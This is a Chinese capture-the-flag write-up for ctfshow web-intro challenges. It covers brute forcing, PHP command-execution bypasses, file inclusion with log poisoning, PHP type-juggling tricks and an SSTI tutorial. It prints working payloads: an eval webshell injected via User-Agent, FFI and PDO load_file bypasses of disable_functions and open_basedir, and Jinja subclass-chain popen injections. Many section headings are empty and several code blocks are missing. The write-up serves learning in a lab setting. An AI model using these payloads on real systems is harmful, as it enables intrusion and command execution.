ctfshow_web入门wp
ctfshow-web入门全解
重新走一遍ctfshow,顺便记录下wp
- ctfshow-web入门全解
- 信息收集
- 爆破
- 命令执行
- 文件包含
- php特性
- web89
- web90
- web91
- web92
- web93
- web94
- web95
- web96
- web97
- web98
- web99
- web100
- web101
- web102
- web103
- web104
- web105
- web106
- web107
- web108
- web109
- web110
- web111
- web112
- web113
- web114
- web115
- web123
- web125
- web126
- web127
- web128
- web129
- web130
- web131
- web132
- web133
- web134
- web135
- web136
- web137
- web138
- web139
- web140
- web141
- web142
- web143
- web144
- web145
- web146
- web147
- web148
- web149
- web150
- web150_plus
- 文件上传
- sql注入
- 反序列化
- java
- 代码审计
- phpCVE
- XSS
- nodejs
- jwt
- SSRF
- SSTI
- XXE
- -----↑12月之前写完↑--------
由于我们是以夯实基础为主,所以我不会使用sqlmap之类的工具一把梭
信息收集
不写了,这里直接点下面的hint就能看到,提一嘴如果由于js导致看不了源码可以点一下url再进行f12或者ctrl+u
爆破
web21
点开发现要输用户名和密码,抓包发现有个Authorization: Basic YWRtaW46MTIzNDU2,解码后面的是admin:123456,这里就可以直接爆破了
使用burp>Intruder>payload处理先前缀一个admin:,再base64-encode,最后把下面的URL编码取消,就可以爆了
web22
爆破域名,好像环境坏了,直接交flag吧
web23
接收一个参数并进行md5,如果第2,15,18位字符相同,而且整数值的和除以第二位的整数值等于第32位的整数值,则输出flag
burp>Intruder>Brute forcer>1-2长度,爆破出为3j
web24
使用372619038作为随机数的种子,生成随机数,由于种子固定,所以其实随机数也是固定的,经本地测试恒为1155388967,所以直接r=1155388967就行
web25
先输入r=0,得到第一次的随机数,然后使用php_mt_seed工具推出seed值,然后对应一下7.3.11的版本,取第二次和第三次的和写入token中发包就可以获取到flag了
web26
?这题好诡异啊,点进去抓包全放直到抓到checkdb.php,然后啥都不填发送就行a=&p=&d=&u=&pass=就返回flag了
web27
点开莫名其妙,有个录取名单直接下,打开有个叫高先伊的直接爆破身份证号
Intruder>日期>从19800101爆到20201231,格式选下面的自填yyyyMMDD,直接爆就行,查询到学号直接拿身份证号登陆就行
高先伊 身份证号:621022199002015237 学号:02015237
web28
GET /§0§/§1§/ HTTP/1.1,选择(Clusterbomb)模式,从0到100爆破,最多10000次,爆出来/72/20/,直接返回flag了
命令执行
直接看hint吧,看不懂的看我rce全解那篇文章,很全了,web118到web121看我环境变量全解那集
web41这个位置肯定是放错了,应该放55-57这个位置的
着重讲一下web71开始,这里与前面就不是一个难度了
web71
源码
1 | |
这里是先执行代码,然后将返回的内容放至缓冲区,然后进行过滤,但是我们可以提前退出结束这个代码来绕过缓冲区的限制,例如exit(),ob_flush(),die()
payload:c=include('/flag.txt');exit();
web73
用c=var_export(scandir('/'));exit(0);找到flag,用c=require_once('/flagc.txt');exit(0);读取flag
web74
scandir被禁了,但是glob还在,glob不仅可以是一个伪协议,也可以是一个函数,作用与scandir相同
c=var_export(glob('/*'));exit();,然后include即可
web72
说下这题为什么放这了,因为这个与web75一样,比web73和web74多了一个open_basedir的限制,估计放在web73之前就是scandir能用
当试图用上一题的payload的时候,出现
include(/flag.txt): failed to open stream: No such file or directory in /var/www/html/index.php(19) : eval()'d code
猜测是open_basedir限制了访问区域,这里可以用glob:///*进行读取的绕过
c=var_export(scandir('glob:///*'));exit();
从后面来的,这里虽然scandir能用,但其实也可以当作被ban了使用web75的方法
这里var_export与print_r的效果大致相同
发现根目录下有flag0.txt但下一步要想读到flag,就很麻烦了
wp给的是使用了uaf的脚本
UAF(UseAfterFree)是pwn里面的一个方法
简单说下原理吧,payload可以用web75这题的
UAF
UAF是一种内存管理漏洞,发生在程序释放了某块内存后,继续访问或使用这块内存,此时,内存可能已被重新分配给其他对象,导致未定义行为,可能被攻击者利用
如果程序在内存释放后继续访问,可能触发UAF漏洞,导致:访问被新对象占用的内存,可被攻击者利用
UAF的触发过程:
- 分配对象:创建对象,分配内存,引用计数>0
- 释放内存:通过
unset、覆盖引用或垃圾回收,引用计数降为0,内存被释放 - 错误使用:在释放后继续访问对象,可能操作被重新分配的内存
- 利用:攻击者通过控制新分配的内存,注入恶意数据或行为(如函数指针、字符串)
PHP中的UAF场景:
- 对象析构:对象被销毁(
__destruct触发)后仍被访问 - 垃圾回收:PHP 5.3+引入GC(Garbage Collector),处理循环引用,但某些操作可能导致UAF
- 扩展或类:SPL类(如
ArrayObject),自定义扩展或C代码可能引入UAF - CTF中:UAF常通过精心构造的对象引用、数组操作或序列化触发,执行任意代码或泄露内存
利用效果:
- 信息泄露:读取被释放内存中的残留数据(如flag字符串)
- 代码执行:控制内存中的函数指针或对象,调用任意函数(如
system) - 绕过限制:在CTF中,UAF可绕过
disable_functions或open_basedir,执行命令或读取文件
通常通过以下方法构造UAF:
- 反序列化:触发
__destruct或__wakeup,释放对象后访问 - SPL类:如
ArrayObject,SplObjectStorage,操作复杂引用可能导致UAF - 垃圾回收:触发GC,释放循环引用的对象后访问
- 自定义类:定义
__destruct或__toString,在释放后被调用
注:以上来源于grok,我不是打pwn的,具体这一块我不懂
web75
这题开始由于include也被禁了,所以要想一些奇技淫巧了
第一步还是glob获取文件名,但与上一题不同
wp的payload是
1 | |
这里如果使用var_export(glob('/*'))会出现false,应该是glob()函数权限不够无法读到根目录
那么就要使用glob伪协议来进行读取,这里就使用了DirectoryIterator()这个类来进行读取,还是挺考验对类的了解的,纯盲解的话应该是翻php手册找哪个类能读取而且没被禁
魔术方法调用toString是输出类对象的值,但我测试一下直接echo($f)也是可行的
然后我在这里又测了一下直接使用glob:///读取flag,结果发现存在open_basedir
PDO
主要是第二步
这里先放出wp里的payload
1 | |
接下来先讲原理,这里主要逻辑是new了一个PDO对象(PHP Data Objects),并用localhost的主机连接到用户名和密码都为root的数据库ctftraining,下一行是执行sql语句进行查询并遍历结果,然后输出结果并在最后添加|,最后关闭数据库连接,catch是与try对应的,负责异常时的情况,那么显然,这里不try一下也不catch也是完全可以的,甚至可以将关闭数据库这一步都删了,因为我们只是需要使用sql语句进行查询接着输出即可
也就是
1 | |
那么load_file为什么可以读到文件呢,因为只要sql数据库有读取文件的权限,就能成功读取,这是sql函数,不是php函数,所以php的disable禁不掉他
那么我们知道了payload的原理,就需要知道payload的组成了,最主要的就是mysql:host=localhost;dbname=ctftraining这一段
php的PDO函数支持多种数据库,这里列出一下
1 | |
那么我们可以一个个试出数据库类型,但数据库名字又是怎么得到的呢
1 | |
这样我们就列出了所有的数据库,但其实经过测试,这题不写dbname也能出
1 | |
web76
和上一题一样,flag名字变flag36d.txt了而已
web77
flag名字变flag36x.txt了
试图用上一题的payload,但是报错了,应该是这题没给pdo_mysql扩展,也就是使用数据库来读取这一招不好使了
注意到题目给出环境为php7.4版本,肯定是不会白给的对吧
问了一下grok,给出了一个SplFileObject(SPL类绕过),是与使用DirectoryIterator读文件名类似的方法
但是由于存在open_basedir的限制所以不可行
这里我想到了之前那个也存在open_basedir限制的web72,那个是用的uaf,试了一下用web75的payload,结果好使
web75到web77能绕过open_basedir是因为web75是使用的mysql的函数,而open_basedir只限制php脚本,所以是管不到的,但是那几个类去试图绕过是不好使的,类也是php脚本,受open_basedir影响
这里放上本题wp中的payload:
1 | |
能看到是执行了/readflag这个程序,但实际上,这里中间这一行直接删了就行
1 | |
这里我试了一下直接cat,但是不好使,ls -la看一下发现权限不够,只能使用/readflag
这里讲一下FFI的原理
FFI
FFI是PHP 7.4引入的一个扩展,允许php直接调用c语言函数
这里先是使用FFI::cdef声明了一个c函数,payload这里就是定义了C的system函数,接受一个C字符串(const char *)作为命令
然后调用FFI对象就成功执行任意命令了,唯一的问题是没有回显,我们需要将结果输出到1.txt
php手册: FFI::cdef
web118-web122
环境变量的利用
看我的环境变量全解那里
从0到1,学习环境变量的利用方法
web124
非常规rce
1 | |
这题首先审代码,发现没过滤$(),然后过滤了除了白名单的所有字母,那么我们只需要使用白名单内的内容和数字进行构造就行了
白名单大部分的东西都是没什么用的东西,但是注意到,放出了base_convert和dechex,那么我们可以定义一个变量$abs='_GET'然后$$abs=>$_GET执行任意命令(这里abs是在白名单中的,不会被过滤)
那么也就是需要使用两个函数将_GET这个字符串转为数字,然后反向走一遍就构造出_GET了
1 | |
RCE终于是告一段落了,未来的计划大概是把rcemap补全至能ak这些题
文件包含
web78
无任何过滤的php伪协议读取即可
web79
过滤了php换data伪协议
web80
这里wp给的是改UA头给日志写入恶意代码然后包含这个日志即可
/?file=/var/log/nginx/access.log
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[1]);?>
第二种方法是大写PHP绕过过滤写个pHP://input,然后用POST发带恶意命令的包即可
web81
多过滤了个:,伪协议用不了了,用上一题的日志包含即可
web82
条件竞争
web83
web84
web85
web86
web87
web88
web116
web117
php特性
web89
1 | |
如果参数能转变为整数,则输出flag,但是又ban掉了数字,那么我们可以传入一个数组来使intval识别为数字,?num[]=就行了
web90
1 | |
首先分析源码,就是要使intval后的num为4476,但是num还不能为4476,那么我们可以简简单单的在4476后面加上.0,使整数变为浮点数4476.0,就能在intval之后重新变回整数4476了
?num=4476.0
web91
1 | |
这里两个匹配的区别在于第一层多了一个m,那这个m的作用是什么呢,是对于php的逐行匹配,也就是只要有一行有php,这一层就会过,而第二个匹配没有这个,所以第一行只要不是php就会进入到else,那么只需要一个换行就行了,%09php
web92
1 | |
与上面那个不同的是,上面是强比较===,而这个是弱比较==,上一题是加上了.0变成了浮点数,因为是强比较所以只能是在数值上与4476是完全相同的数那么这题就由于是弱比较,可以使用与原数不同的浮点数,来绕过nonono,4476.1这个就可以了,在intval的时候,会直接将.1舍弃掉,这样就过了第二步,而由于4476.1与4476是完全不同的数,所以也能过第一步
web93
1 | |
比上一题多了一个对字母的过滤,上个payload还是能正常用的,wp给的方法是使用8进制之后的010574,16进制的开头是0x,8进制的开头是0
web94
1 | |
首先观察,发现是强比较===,然后必须含有0,那么只需要简简单单的4476.0就行了
web95
1 | |
首先观察,弱比较+过滤字母和点.+必须有0,那么前面通用的浮点数战术就无效了,这里就要使用上面的8进制方法,但是由于strpos的存在,导致0不能放在开头,不然会直接返回0导致die,那么就需要随便加一个字节在前面防止0是第一位就行了,这里加+或者%09换行都是可以的
web96
1 | |
./flag.php有什么好说的吗
web97
1 | |
经典的md5绕过,使用数组即可a[]=1&b[]=2
web98
1 | |
源码是这样的,看着很奇怪对吧,让我们来给他变成正常形式
1 | |
为什么我们可以这样将这个变形呢,因为这个xxx1?xxx2:xxx3是php中的三元运算符,代码确实简洁了,但是可读性大大降低他的效果是这样的
1 | |
这样我们就可以看懂这道题的源码了,如果GET参数的存在的话,那么将GET与POST的内容进行一个绑定类似$a=&$b的形式就是将$a与$b指向同一块内存,而出flag的一步在if ($_GET['HTTP_FLAG']=='flag'),我们说过GET是与POST进行了一个绑定的,所以只需要POST传入HTTP_FLAG=flag就行了,然后为了使两个绑定,只需要随便传入一个什么就可以了,例如?1
web99
1 | |
这里最主要的是后面的文件写入,我们可以看到这里对于写入的内容是完全没有过滤的,那我们直接写一句话马就好了那么接下来就是n这里的文件名了,这里只需要使n是随便一个名为数字的.php文件就行了,因为in_array没有设置类型,所以我们哪怕传入一个字符串也只会取前面的数字进行比较,这里直接传入1.php就行了
web100
1 | |
代码非常的简单,v0基本不用管,类什么的也不用管,直接读ctfshow.php就行了我管你这类那类的,然后eval里面的括号什么的直接给他闭合出去就完事了?v1=1&v2=system('cat ctfshow.php')?>&v3=;
最后看下源代码然后flagis那里就行了,记得把0x2d改成-
web101
1 | |
可以看到禁用了所有的数字符号,那么我们只能正常
web102
web103
web104
web105
web106
web107
web108
web109
web110
web111
web112
web113
web114
web115
web123
web125
web126
web127
web128
web129
web130
web131
web132
web133
web134
web135
web136
web137
web138
web139
web140
web141
web142
web143
web144
web145
web146
web147
web148
web149
web150
web150_plus
文件上传
sql注入
反序列化
java
代码审计
phpCVE
XSS
nodejs
jwt
SSRF
SSTI
web361
根据题目提示:“名字就是考点”,可以猜测是接受了name参数,传入发现果然如此接下来就当作是SSTI的入门教程从头讲一遍吧首先是{{}}这两个花括号,这里就是表示你接下来的输入是模板代码然后是经典payload的开头{{''.__class__}}会返回<class 'str'>,这里是对空字符串调用class这个类,从"已知对象"出发,目的是获取到object类,然后object里面就有我们能利用的类来RCE
关系如下:
1 | |
由于我们并不能直接从str类跳到os._wrap_close类,所以就必须先退一级来到object类才行,类比一下就像/var/www/html/与/var/www/flag之间的关系,必须先跳到/var/www/下才能进行访问而我们要怎么到object类呢,这就需要使用__base__或者是__mro__了,base是直接列出父类,mro是列出当前类和父类,所以经常会看到一些wp里面都是mro[1],因为mro[0]是当前类 (这里不打那两个下横线了,有点累)
获取到object类之后,就要寻找os了,这里就要使用__subclasses__()这个函数,其中的__subclasses__是函数对象,如果不加括号只是拿到函数,并不会执行,这个函数就像ls一样,能列出这个父类下的所有子类这里会列出很多个类,那么就是要寻找到os._wrap_close这个能rce的类,这里其实可以在浏览器里面用ctrl+f搜索<,能方便找到相关索引,直接用数组的方式调用即可,这里是第133个,索引就是132(从0开始数)
到这我们可以看到页面上返回出了<class 'os._wrap_close'>,接下来就是对这个类的利用了我们首先需要对这个类进行一个初始化__init__,然后使用__globals__来获取导入的模块,例如popen和builtins,这里使用__globals__['popen']("ls / ")就可以执行rce了,那么会发现返回了<os._wrap_close object at 0x7fcd542ea4c0>,这指向了一个地址,所以我们需要使用read()函数来进行一个读的操作最终payload:{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("ls /").read()}}
web362
应该是禁用了3和2,可以使用数学132=140-8绕过,将132换成140-8就行
web363
过滤了单双引号,可以使用request.args.a绕过
payload:{{().__class__.__base__.__subclasses__()[140-8].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag
web364
args被过滤了,那么使用其他的就行了request.cookies.a
Cookie:a=popen;b=cat /flag
